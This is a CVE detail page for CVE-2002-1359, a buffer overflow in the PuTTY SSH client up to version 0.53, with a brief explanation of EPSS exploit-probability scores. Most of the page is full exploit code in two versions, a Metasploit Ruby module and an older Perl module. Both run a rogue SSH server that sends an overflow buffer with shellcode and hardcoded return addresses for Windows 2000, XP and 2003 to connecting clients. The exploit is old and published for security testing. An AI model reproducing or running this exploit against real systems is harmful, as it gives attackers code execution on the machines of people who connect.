CVE-2002-1359 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # $Id: putty_msg_debug.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'PuTTy.exe <= v0.53 Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in the PuTTY SSH client that is triggered through a validation error in SSH.c. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision: 9525 $', 'References' => [ [ 'CVE', '2002-1359' ], [ 'OSVDB', '8044'], [ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ], [ 'BID', '6407'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00", 'MaxNops' => 0, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ], [ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], [ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ], ], 'Privileged' => false, 'DisclosureDate' => 'Dec 16 2002', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ]) ], self.class) end def on_client_connect(client) return if ((p = regenerate_payload(client)) == nil) buffer = "SSH-2.0-OpenSSH_3.6.1p2\r\n" + "\x00\x00\x4e\xec\x01\x14" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" + (((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 2) + (((rand_text_alphanumeric(64)) + ",") * 2) + rand_text_alphanumeric(21) + [target.ret].pack('V') + make_nops(10) + p.encoded + (((rand_text_alphanumeric(64)) + ",") * 15) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" + (((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" + (((rand_text_alphanumeric(64)) + ",") * 21) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" + (((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 6) + "\x00\x00\x00\x00\x00\x00" print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...") client.put(buffer) handler service.close_client(client) end end

## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::putty_ssh; use strict; use base "Msf::Exploit"; use Pex::Text; use IO::Socket::INET; use POSIX; my $advanced = { }; my $info = { 'Name' => 'PuTTy.exe <= v0.53 Buffer Overflow', 'Version' => '$Revision: 1.1 $', 'Authors' => [ 'y0 [at] w00t-shell.net' ], 'Description' => Pex::Text::Freeform(qq{ This module exploits a buffer overflow in the PuTTY SSH client that is triggered through a validation error in SSH.c. }), 'Arch' => [ 'x86' ], 'OS' => [ 'win32', 'winxp', 'win2000', 'win2003' ], 'Priv' => 0, 'UserOpts' => { 'SSHDPORT' => [ 1, 'PORT', 'The local SSHD listener port', 22 ], 'SSHSERVER' => [ 1, 'HOST', 'The local SSHD listener host', "0.0.0.0" ], }, 'AutoOpts' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00", 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44", 'MaxNops' => 0, 'Keys' => [ '-ws2ord', '-bind' ], }, 'Refs' => [ [ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ], [ 'CVE', '2002-1359' ], ], 'DefaultTarget' => 0, 'Targets' => [ [ 'Windows 2000 SP4 English', 0x77e14c29 ], [ 'Windows XP SP2 English', 0x76b43ae0 ], [ 'Windows 2003 SP1 English', 0x76AA679b ], ], 'Keys' => [ 'putty' ], 'DisclosureDate' => 'December 16 2002', }; sub new { my $class = shift; my $self; $self = $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced, }, @_); return $self; } sub Exploit { my $self = shift; my $server = IO::Socket::INET->new( LocalHost => $self->GetVar('SSHSERVER'), LocalPort => $self->GetVar('SSHDPORT'), ReuseAddr => 1, Listen => 1, Proto => 'tcp'); my $client; # Did the listener create fail? if (not defined($server)) { $self->PrintLine("[-] Failed to create local SSHD listener on " . $self->GetVar('SSHDPORT')); return; } $self->PrintLine("[*] Waiting for connections to " . $self->GetVar('SSHSERVER') . ":" . $self->GetVar('SSHDPORT') . "..."); while (defined($client = $server->accept())) { $self->HandlePuttyClient(fd => Msf::Socket::Tcp->new_from_socket($client)); } return; } sub HandlePuttyClient { my $self = shift; my ($fd) = @{{@_}}{qw/fd/}; my $target = $self->Targets->[$self->GetVar('TARGET')]; my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $rhost; my $rport; # Set the remote host information ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr); my $sploit = "SSH-2.0-OpenSSH_3.6.1p2\r\n". "\x00\x00\x4e\xec\x01\x14". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde". (((((Pex::Text::AlphaNumText(64)). ",") x 30). Pex::Text::AlphaNumText(64). "\x00\x00\x07\xde") x 2). (((Pex::Text::AlphaNumText(64)). ",") x 2). Pex::Text::AlphaNumText(21). pack('V', $target->[1]). $self->MakeNops(10). $shellcode. (((Pex::Text::AlphaNumText(64)). ",") x 15). Pex::Text::AlphaNumText(64). "\x00\x00\x07\xde". (((Pex::Text::AlphaNumText(64)). ",") x 30). Pex::Text::AlphaNumText(64). "\x00\x00\x07\xde". (((Pex::Text::AlphaNumText(64)). ",") x 21). Pex::Text::AlphaNumText(64). "\x00\x00\x07\xde". (((((Pex::Text::AlphaNumText(64)). ",") x 30). Pex::Text::AlphaNumText(64). "\x00\x00\x07\xde") x 6). "\x00\x00\x00\x00\x00\x00"; $self->PrintLine("[*] Client connected from $rhost:$rport..."); $fd->Send($sploit); $self->PrintLine("[*] Sending ". length($sploit). " bytes to remote host..."); $self->Handler($fd); $fd->Close(); } 1; # milw0rm.com [2006-05-15]